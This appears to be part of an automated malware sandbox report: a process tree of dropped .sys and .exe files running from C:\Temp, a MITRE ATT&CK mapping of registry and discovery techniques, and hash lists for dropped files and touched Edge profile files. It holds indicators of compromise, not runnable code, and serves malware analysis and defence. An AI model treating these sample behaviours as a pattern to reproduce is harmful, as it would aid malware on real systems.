PID:1636

C:\Temp\xspkhcausm.sys
C:\Temp\xspkhcausm.sys
1⤵
- Executes dropped EXE
PID:5488

C:\Temp\usmkecausm.sys
C:\Temp\usmkecausm.sys
1⤵
- Executes dropped EXE
PID:2948

C:\Temp\mjhbztromk.sys
C:\Temp\mjhbztromk.sys
1⤵
- Executes dropped EXE
PID:1808

C:\Temp\bztrojgbyw.sys
C:\Temp\bztrojgbyw.sys
1⤵
- Executes dropped EXE
PID:1704

C:\Temp\olgdbvtqlj.sys
C:\Temp\olgdbvtqlj.sys
1⤵
- Executes dropped EXE
PID:1780

C:\Temp\gdbvtolgdy.sys
C:\Temp\gdbvtolgdy.sys
1⤵
- Executes dropped EXE
PID:1344

C:\Temp\ifdxvtqlig.sys
C:\Temp\ifdxvtqlig.sys
1⤵
PID:1396

C:\Temp\fcausnkfca.sys
C:\Temp\fcausnkfca.sys
1⤵
PID:852

C:\Temp\usmkiczxup.sys
C:\Temp\usmkiczxup.sys
1⤵
PID:4628

C:\Temp\hfcxupnhfz.sys
C:\Temp\hfcxupnhfz.sys
1⤵
PID:4920

C:\Temp\zurpmhezwu.sys
C:\Temp\zurpmhezwu.sys
1⤵
PID:1440

C:\Temp\rojhbztrmj.sys
C:\Temp\rojhbztrmj.sys
1⤵
PID:4712

C:\Temp\tqojgbztqo.sys
C:\Temp\tqojgbztqo.sys
1⤵
PID:2536

C:\Temp\ywqoigaytq.sys
C:\Temp\ywqoigaytq.sys
1⤵
PID:1088

C:\Temp\qoigaysqol.sys
C:\Temp\qoigaysqol.sys
1⤵
PID:4928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

fcausnkfcx.exe

Path C:\Temp\fcausnkfcx.exe
Size 384KB
SHA256 d4a39d82fffddaeaf4dad708cef518de88eecfa7f4aa619c06828c67f7ef564e
MD5 2e473228be5fc310f5275bee727ff01e
SHA1 16da7a936c73a74580fa47544efc2f51282c68dc
SHA512 bb746afeb07ba29ba55555e99809771541cf24c27f25d2942aceb25c287b21c14c712bf5f44d32b04218c9e813237a541adda7c385fde24859cd8cd2356e914c
SSDEEP 3072:ebtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:ebtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T105847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC3F754CE5D9A417C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hfaxsqkica.sys

Path C:\Temp\hfaxsqkica.sys
Size 293KB
SHA256 c3613cc8e8fecc9e495226e655f942029936fa586773ea1acefa2c057df33414
MD5 30dcaeab3c4db48a7d4a8d53374a6dbd
SHA1 27510ae74907e30e90acd093c26c721b42b704e9
SHA512 b5db00d716abe633029ff85b5263a679dd882e7dc900eff0e438806e30fc91eb683f25af3d55e39baa57d86c43fee19d6dd7893889e16b1f9ca72859b5b20559
SSDEEP 3072:KtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:KIJjiJcbI03GBc3ucY5DCSj
TLSH
T1FC545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_fcausnkfcx.exe

Path C:\Temp\i_fcausnkfcx.exe
Size 384KB
SHA256 288d896774fd99b9fbf4236788c65faa3d943812a7025c0f09d667d453ed12fe
MD5 5ca1bf3567eb79ba0d36bc9cbfe5927f
SHA1 ef9e90916438d0e164ea902338977879b6de9119
SHA512 98e6be4ee999c3181e08dca426fb67a0bf466cd42879622badf9bd531204b612ca5a3d1f1fc4bd39d352a8fa1ce1ff13ad4d1c1302dc7ef16973f7c0a49979e5
SSDEEP 3072:dbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:dbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T13C847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC7F354CE5D9A517C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qoigbytqlj.exe

Path C:\Temp\i_qoigbytqlj.exe
Size 384KB
SHA256 906586d1fb670592948620a9c50819a353c4a9b1479c20ba2ece265848607fef
MD5 ac67220085c22765779904e69a23b700
SHA1 72532aa643bd2f403d0198a1cbaab39d56894d26
SHA512 548894fff47d58d56b810661260dc8097f5f03e71a858ac1081ddb22a3578f4d4aac2b3c628dfa66d53a3906d682f77e698c231fbafcf4956da7016109ce387a
SSDEEP 3072:mbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:mbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T19B847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC7F754CE5D9A417C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_rljdbvtrlj.exe

Path C:\Temp\i_rljdbvtrlj.exe
Size 384KB
SHA256 72a430cdf294e74f1dc8cc76aba382c69d412f562109629eae842ba66858eca5
MD5 f39f22de5b94d3457a14b46cc906eb91
SHA1 8ba999b9bf697e494dccd05070c151431dcc8e10
SHA512 437ae762f16fc2f5abb4189eae742195dbe7b4c530cb0597dc0c6d0bb9101e9eef423663c3c34efd0f281d0daafbcdbfb6dac929a25ce63b87e8a3c24d0e4f1f
SSDEEP 3072:rbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:rbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T140847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC3F354CE5D9A517C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vsnkidavsn.exe

Path C:\Temp\i_vsnkidavsn.exe
Size 384KB
SHA256 fc2501ad815113229bf9f4b7dedaff6f60d97bea741bc5f7209f434eeff9491a
MD5 962b0023f7a2302f4af03d9ac3ec1441
SHA1 08b9b012ac84513479c11d6b7792e22be651c428
SHA512 bb0d955d8d9f58b21372bd69f3796cb7249a1bd7e89cc0824c26d084f773a5899556ba7eaa11221507bbfe23cc2200628d5e9a7cad663c7d857c48a1700ba80f
SSDEEP 3072:VbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:Vbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T19B847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC3F754CE5D9A517C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ysqnlfdavs.exe

Path C:\Temp\i_ysqnlfdavs.exe
Size 384KB
SHA256 9785971346eda94ffd39c19ea9000c2b8b95f6050dce763e335dcec1b82de8de
MD5 73e4a5f1e483d141c724136209325b12
SHA1 57152b8ea0a2aa36788609bdfbc8396c3da19620
SHA512 b53f40915ddf31466629323568235a425f84b1f00496c3d24a43cc2e42477d87a5faab5e232283eadda4206e6b0e9db03744c64a9494b798a462518f5cf60d36
SSDEEP 3072:HbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:Hbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1DD847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC3F754CE5D9A417C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lfdyvqolgd.sys

Path C:\Temp\lfdyvqolgd.sys
Size 293KB
SHA256 87046a33ed6750c5594de1c0071b79822c09bc9d1f6e7f31229d27fe7506a982
MD5 68a4c49aab3ef8ae1220855925b960b2
SHA1 5fcfe47de0e630f4a337be8965456000a0af4f6b
SHA512 efc8e9eae7378227dfff7cfe0138b773b0fdc840be0845e2736ac54c3e3ef9b2892a8d425cef36d107e1f47471e9f76019422187d4cfd756aaf279e5bd48593c
SSDEEP 3072:EtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:EIJjiJcbI03GBc3ucY5DCSj
TLSH
T130545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoigbytqlj.exe

Path C:\Temp\qoigbytqlj.exe
Size 384KB
SHA256 b8fe37ff1ea9326c608bc0306ac93d56ab42c976689b11a469b2adf6f21ad894
MD5 53b46315f5a5210842a4f2da6e02d0cb
SHA1 c51224f148d693fa0acb5bbb1d2e62845b7cd1d6
SHA512 9444fbc15aac17bf096841d1e8cf507ca4892c136738d59c643992c5faab4e0f08a1dbe57177ee721ae38de8ee86f5d7c637e08dbb5d31b6f04bc588cd151f55
SSDEEP 3072:hbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:hbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T114847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC3F754CE5D9A417C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rljdbvtrlj.exe

Path C:\Temp\rljdbvtrlj.exe
Size 384KB
SHA256 dc83df07334b5d02e30dfcba151a2e30bc8fda6ba89b92cd518fe36695daa007
MD5 6fb1218eb209a8ae4acf00cfe5b5c9ca
SHA1 62855e6f89f118d3f0296d686cc96e50f089b256
SHA512 bb9ad249ba9acdd855c71abaf753106c2c25f907bc0de852abb2050545aa08dd1f6f1950a93d0e2e91991634f22a88c66e25717bb0cbfee30d45c261f750e735
SSDEEP 3072:vbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:vbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T186847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC3F754CE5D9A517C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rljebwtomgeywtol.exe

Path C:\Temp\rljebwtomgeywtol.exe
Size 384KB
SHA256 09b960c52fe6a6a01e57b438cfd6090ae6b3ebf65c551ceb190d9cfe2c193fb8
MD5 e3c8c6adb85c4c93079729b361f60ed1
SHA1 8f3c2a1854b051203e868cf6d93b9196812d2e69
SHA512 448e9bb13b48ef123ad0c481ce4ffb06f5a88af05074c46e51c02d3a772d9fbebf2b5dc999c228e1c8a5b18f385259ae1e6b65dfef0a588ae712a2e60befddd4
SSDEEP 3072:2btF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:2btt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T18B847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC7F754CE5D9A417C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rljebwtomgeywtol.sys

Path C:\Temp\rljebwtomgeywtol.sys
Size 293KB
SHA256 3f321c1c4bfb008db22b313cbb7479b94ab77d2ba25dca6ba34b2b97009a38a7
MD5 25cfd3157be005bf565d78771ad51679
SHA1 d568d295f765753cac2a580a53f24cc8639af1c9
SHA512 d30f0eb26a9df1cb6fb1f2199a3729ca3347ed8f0130cce26aa4ad9af548c031607c450204e799d5708f80ae15e4e7018e9df45ba9d9f59642064afdcce4d4b7
SSDEEP 3072:stKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:sIJjiJcbI03GBc3ucY5DCSj
TLSH
T1D6545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rpmhfzxrpk.exe

Path C:\Temp\rpmhfzxrpk.exe
Size 384KB
SHA256 88d2ce74223fd4ac1ada6facdcc8a5ec4ab475c067a7ff026c7dc45e1730a6d7
MD5 55e5072f5c9d002135a6cef971b792ad
SHA1 1ef53fb4e940f93fe35b8e2ecda1700389b9a593
SHA512 462bab2756a2c73ff33ec7bc7802d2b3272f4181e8a251469653fa879e68a41f0d9f6799c77a76fcf0001cfa6148a3d2fb4261b2405f82f45a4193050aee3aa3
SSDEEP 3072:nbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:nbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1F2847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC7F754CE5D9A417C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

snlidavsnl.sys

Path C:\Temp\snlidavsnl.sys
Size 293KB
SHA256 86076cbe34b9a22f64f5de4d00750402e0d79b8ba346f8508357251d9a0fab6f
MD5 3ca96dd5491a0c4f89a6de488c40d6df
SHA1 6b95cf0f4140eef361c59516ec884999c1b192c7
SHA512 139b824c43931296a08e4363f0d602d2ecc98137c6b9f803686fd7fc4704d0fbf5c674c199e1551ed73934cfce0fa8f11e661ef7a159f5315b66911ca46e820a
SSDEEP 3072:ctKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:cIJjiJcbI03GBc3ucY5DCSj
TLSH
T15C545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vqoigaytql.sys

Path C:\Temp\vqoigaytql.sys
Size 293KB
SHA256 d8246c0557b2c1572528267b7d773fafa90892832d6a85a8158b0bf609af2aff
MD5 244da993c0e8d142a0a70701ffecfd6b
SHA1 68ea1437b33a8e20ef6f2c2db1778c8783aa8275
SHA512 caced10f0313272dc95e6570113709257131f82ddfcba2e68c1df2a8358f8655e602db92c155e169b770115d8948f2b36274f75db0fa858c85e3cf6668aaef00
SSDEEP 3072:dtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:dIJjiJcbI03GBc3ucY5DCSj
TLSH
T1FA545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vsnkidavsn.exe

Path C:\Temp\vsnkidavsn.exe
Size 384KB
SHA256 949ca9df835fad301d322deba162c6a36d01e93493b3747d355b4ac021333613
MD5 33ca42c58f8ca409727a0d79452ba268
SHA1 d60f5a5ca227b64e627700bfd45d71cf2202a1be
SHA512 f1038b3ff04f3fbd61bfae31c66b108018d51c1f617016b4bc47ea2e2428c6b0897108d16a29ca0fdda1ce74eeb5f427719c0ae72d2b01a42257beb4f63fdcc2
SSDEEP 3072:jbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:jbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T17C847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC7F754CE5D9A417C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xspkhcausm.sys

Path C:\Temp\xspkhcausm.sys
Size 293KB
SHA256 2863a443c12749782ea017fdd2c277afcf31af9370a1673cec71582b9a0a7e03
MD5 745d916050de5719c4f25107f61ff4fd
SHA1 5033814b57fa29d2e3feab70309cae3264983892
SHA512 bd9354065a0964c3c0e272c55fc087b47f21c91f03de9605ec6f0faa9a6ee94036f345c263515e7c66712e858b4897cb892c2880d95fb2283828c77eb7c135fb
SSDEEP 3072:ltKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:lIJjiJcbI03GBc3ucY5DCSj
TLSH
T170545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ysqnlfdavs.exe

Path C:\Temp\ysqnlfdavs.exe
Size 384KB
SHA256 ca68842514b2c843983c81462570ebdd5f547c4612db95049730796df7061b37
MD5 86531cf0bfe13a963687d67d86211569
SHA1 3b3703dc8524d6dee2876a26d236d2ef71151edc
SHA512 26f0150ffc025cce2bb1c9ee2ea317adaf0a2e176614f79ef9e4414218f37855bc5cbde4f6ae6c32c918ed9814c0aa7467d450583e66ae54630bf1ccc8f793b2
SSDEEP 3072:tbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:tbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1E1847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC3F354CE5D9A517C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2faa1b1440ef2e1a669881f74143ac7857706d1524c89e682f713c8f3d38ab23
MD5 6a131a77b0edda45a2895a3d33a867a0
SHA1 2be1a2b3794fa396138562716cc7e4a4f17caa66
SHA512 20cb3d576349a78e3fec9e8b5e0726835f04e7dd74bb2a15edba4417611cdd35bc2d2525fdae7879e8d01d4643f26df1c05a44fb125105ad0bcee8ccd0257571
TLSH
T1F6D02B3176B99CA1D193103D00C386A014BAB0009C0501843B22C0050C401091330206
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4fc7dcf7387fe20ebfe8604da12039dc01420b7c4f9203598cac361fa8e97926
MD5 c3187641f7a33614939d03f0d43ad5e0
SHA1 82b3d0d3fa3092b29b9c8b55ce9fb9bba31c9c23
SHA512 ac0b9a042b5883e5cb0458cdeae19e251d85b3b88bb576dec24d66444085275504065eccb22c8674162977df0a0d2f69723a5923be85a9c5ea85f46af2ce9edc
TLSH
T13FD02B3176B99CA1D193103900C286A014BAB000EC0501843A2280050C40109133120A
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 8d100dd1f82529abb5114f28e6ea353aeb929c7ac2e1b6234ab1b42ee0feb264
MD5 8e5c4ebe057f8eab05c81a6a1e4fa03b
SHA1 e33ccc68b387f68d1ce4dd59685ebda0b9bb8f63
SHA512 d05731b6ee928bda5c97c25a178ea5870fa7f6ed510cb8bfa8f9065efbbc4cade5c413d69417ca05abc8d632a1ed4000a93aa1321cfc0336ac7f3e7ad6053160
TLSH
T1CC51A9A4979BEB54FBA616B143C4A0A7FA348F899FCF5F0334A0FC78614A3D44A420C4
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59b7ae.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59b7ae.TMP
Size 2KB
SHA256 4f333315fa967069e41d6d8c47d966098fdb93d075be36f75098eb28ecd32f46
MD5 d69af10f060d21bd7ee98d0963bc34b7
SHA1 2a1eff5da53437a649329ed62673f5041e141614
SHA512 e2e7b6b266a3ef82a8d7b370c9c2b8ecd857b254501b91652fad887f130cd358a70d82a73dddc4cb58353e3201764c4d9864c1bc61a3170f69880d303c7242e0
TLSH
T1635176A4979BAB54FBA616B143D4A1A7FA348F899FCF5F0334A4EC78614A3D44A42084
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 0d2ae130124eb8c8b9d0de743505056387dd57ee03d6d9b9ebf7382839f36edc
MD5 ed0ab864891b14685dcc692d8c418d4f
SHA1 66751845003ab09b10494585fa2a81b48d5055e9
SHA512 c9699ad41d840dd4ac88347343b702c6f51f2dff3a0a846626bb8163cd4be2706a62bd2030fa772cad9e5cf15d1b153bfb4ce6cf8c1dfdf31504816d3f6f18f9
TLSH
T141519EF3C3E8CA6D890156F4AB187E2BCE1D0955532C3D5AC8E4EE2BA3E2471D14199F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 b05c110a38c8b1266063b51799a164dae74580229e9976c7bbeb58e5ad61b021
MD5 cc1d6801bab06ac7b0f4adde4fe26ced
SHA1 b362b3402cf3f1422dfdf45db73c49a669585eaf
SHA512 3a945624b111c013ba0412574a69287f2a7e29b53372fb8390802143f3079679a714621bd7dbd85702ad3e47076828551eed206b1fe00749e6b12369c11c77a3
SSDEEP 192:sxRaRvCF/fsZsQyhZ910qvzoA8p9Y/g6+WNCZ2/Y21calGbIgV6rJ:sxRaEF/fsZsDv9XGu/5B/0a4g9
TLSH
T1CD32B715AD64A97B8CCBE20DBB69BF53D2F9503290941E4CE6FC8A1C14E76DD220781B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 c84b807d48e9e3d4c1938afaffa0e30efe52a3bfce70dfcaedf6f9c300a67d10
MD5 c1ac49e1947ff99dafa30fd8eeaa11c7
SHA1 15fb03e730664681304fa6e442ab1bd736ce0d8d
SHA512 a75d8fc19da3fb6bacce5f46d56ca98f14f46641cba016e0bb000b8639bd4936130a85bc08138e864769429c0b8b876a0fb0e529da95068aedd8e11e9a42e093
SSDEEP 192:sxRlRvCF/fsZsYyhZ910qvzoA8p9Y/g6+WNCZ2/Y2mcalGbIgDk6rJ:sxRlEF/fsZsrv9XGu/5B/5a4f9
TLSH
T14142C815AD64A97B8CCBE20DBB657F53E2F8503290901E4CE6FC8A1C14E76CD2203C1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 ed60f735d409734bf2adfe13ef6b27dcd1dfa97d1d948a5fb7f9a32d1cb93a76
MD5 0cc08aa367fd9eb997a2ffb3e29598eb
SHA1 e4d20e2cbbd0d880f5f9810c1558b9fce56784f9
SHA512 87c7043d49a6887c27c0a9d2c05326f8a36b0c871e14bd0b8092bac3c9c87f671a30eb67651a5f29ae2c516b6a9870435fc1e226a684e0bdfc6de895b28183d1
SSDEEP 192:sxRlRvCF/fsZsFyhZ910qvzoA8p9Y/g6+WNCZ2/Y21calGbIgD+6rJ:sxRlEF/fsZsMv9XGu/5B/0a4Z9
TLSH
T11542B715AD64A97B8CCBD21DFB69BF53D2F9503290901E4CE6FC8A1C04E76CD220381B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 8d1cb8c6f468b4c215a2c45bf2fdde7190811fd69fc75486cee52d26358357c2
MD5 0cfe23b8fa24cb8d2a3737114b9a2844
SHA1 01e1bb6229b8f9f20b44851627074b3df998d332
SHA512 7d2e5d64645c363932dbfe2aa729402063ada085a74e940decf741f6792ff2d50523b2cae3ae191700a55432e2d214bacb88d31872f4b4fb4fb581dd7a915af8
SSDEEP 768:L7aamW7pLuLb6DWgptfvD8F1+UoAYDCx9Tuqh0VfUC9xbog/OVuFFdNMDroH5s:L7aam2Eb6DWgptfvDu1jaxFFrMwZs
TLSH
T18DD2EA7B640CCB7F4F904ADDAC197E9F6D6802CB9698CD4047FE941C02C6BEA911A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a4016fb5-c4db-45c7-9157-3352e717330f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\a4016fb5-c4db-45c7-9157-3352e717330f.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 467f826ba9f69d1fd820f559ab2094fbff90a01418189b4e1640a66521bb66b0
MD5 8d38225e6e57dc12bf3d077df50e0601
SHA1 bb1738ac4333a93b03b1e8c0a8d8882137396d22
SHA512 e098d1f3ae2cd4d92c26e314e79157220529beed875001c352125a09e00c5fce6fbd7661a8a5cea1c36d1f4c409012cb681c0676b0f535bf21fabbcc8bf84f64
SSDEEP 768:U/UxvxjgC+B3ipsJgm1IitDmGA5b65Q92RQMPbMFj0O:BZj3+B38E3AF65dQTFQO
TLSH
T14C03C036EC90AEB3DCF95280374BA35AAFF8456391C552E049F96E0D06C768C830B85B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 98ae76c019fb9412f8eebcfb3dd98720260c506f822217c4109388baa5806c70
MD5 31c900d937af0911b5c98381b7309db9
SHA1 9739475363041031af9349b8cb40da1d081d3e31
SHA512 713d61aac4fa5d481389636ab590d41026f8a139a663cb79bb95065bc20e3f02c0963cd45c52b3d016afbaebfcf6669339404fd9e0d235379dec91800775473c
SSDEEP 768:X/UxvxjgC+p3Spgm1IuBFVDmGA5b65Q92RQMPb+hYGHH7s:KZj3+p3OfAF65dQJhYUbs
TLSH
T1C413C032ECA5EDB39CF962803697A3D6AFF8117380C54AE449E56F0D058368D170BD2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 473afbd23cf2c84b0fc4a36a416ddfda29d443efbbfd1c01cf66cae7d690393e
MD5 8cc5f68f1ea6f170ed212bc1cd46694e
SHA1 b6c22fc35b610c0d1fa5ba79c5b098eda6e59d8b
SHA512 dcb536797b23700ea12eee72f5331227d26b64af34bca286a2b8e5e8ac1b89e074744a406ffe87ac81d5382b657743de1817a3203a1332a3121000d4a488087d
SSDEEP 768:rw3Wpgm1IuBFsDmGA5b65Q92RQMPb+hYGHHd9:rw3CUAF65dQJhYU99
TLSH
T1D9F2BF72ECA1DDB39CFCA2813693B3857FF8516394C9869494D9AF0D0043A8A171BD2F
MD5 SHA1 SHA512 SSDEEP TLSH

